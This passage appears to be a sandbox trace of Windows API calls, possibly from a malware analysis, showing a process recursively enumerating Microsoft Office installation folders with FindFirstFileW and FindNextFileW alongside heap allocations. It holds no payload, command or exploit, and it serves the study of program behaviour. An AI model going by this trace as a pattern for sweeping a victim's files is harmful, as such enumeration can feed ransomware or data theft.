dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab02bf1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0278.302] GetProcessHeap () returned 0xaf0000 [0278.302] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.302] GetProcessHeap () returned 0xaf0000 [0278.302] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0278.306] GetProcessHeap () returned 0xaf0000 [0278.306] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.306] GetProcessHeap () returned 0xaf0000 [0278.306] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0278.309] GetProcessHeap () returned 0xaf0000 [0278.309] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.312] GetProcessHeap () returned 0xaf0000 [0278.312] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0278.313] GetProcessHeap () returned 0xaf0000 [0278.313] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0278.314] GetProcessHeap () returned 0xaf0000 [0278.314] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.314] GetProcessHeap () returned 0xaf0000 [0278.314] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0278.314] GetProcessHeap () returned 0xaf0000 [0278.314] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.314] GetProcessHeap () returned 0xaf0000 [0278.314] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0278.315] GetProcessHeap () returned 0xaf0000 [0278.315] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.315] GetProcessHeap () returned 0xaf0000 [0278.315] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca05e8f8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xca05e8f8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0278.553] GetProcessHeap () returned 0xaf0000 [0278.553] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.553] GetProcessHeap () returned 0xaf0000 [0278.553] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0278.553] GetProcessHeap () returned 0xaf0000 [0278.553] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0278.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0278.554] GetProcessHeap () returned 0xaf0000 [0278.554] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0278.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0278.554] GetProcessHeap () returned 0xaf0000 [0278.554] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.595] GetProcessHeap () returned 0xaf0000 [0278.595] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.596] GetProcessHeap () returned 0xaf0000 [0278.596] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.598] GetProcessHeap () returned 0xaf0000 [0278.598] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.598] GetProcessHeap () returned 0xaf0000 [0278.598] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0278.600] GetProcessHeap () returned 0xaf0000 [0278.600] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.600] GetProcessHeap () returned 0xaf0000 [0278.600] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0278.602] GetProcessHeap () returned 0xaf0000 [0278.602] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.602] GetProcessHeap () returned 0xaf0000 [0278.602] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.611] GetProcessHeap () returned 0xaf0000 [0278.611] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.611] GetProcessHeap () returned 0xaf0000 [0278.611] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.613] GetProcessHeap () returned 0xaf0000 [0278.613] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.613] GetProcessHeap () returned 0xaf0000 [0278.613] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0278.615] GetProcessHeap () returned 0xaf0000 [0278.615] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.615] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0278.615] GetProcessHeap () returned 0xaf0000 [0278.615] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0278.618] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.618] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.618] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.618] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.618] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.618] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0278.618] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0278.619] GetProcessHeap () returned 0xaf0000 [0278.619] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.619] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0278.619] GetProcessHeap () returned 0xaf0000 [0278.619] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc70564d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0278.621] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.622] GetProcessHeap () returned 0xaf0000 [0278.622] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.622] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 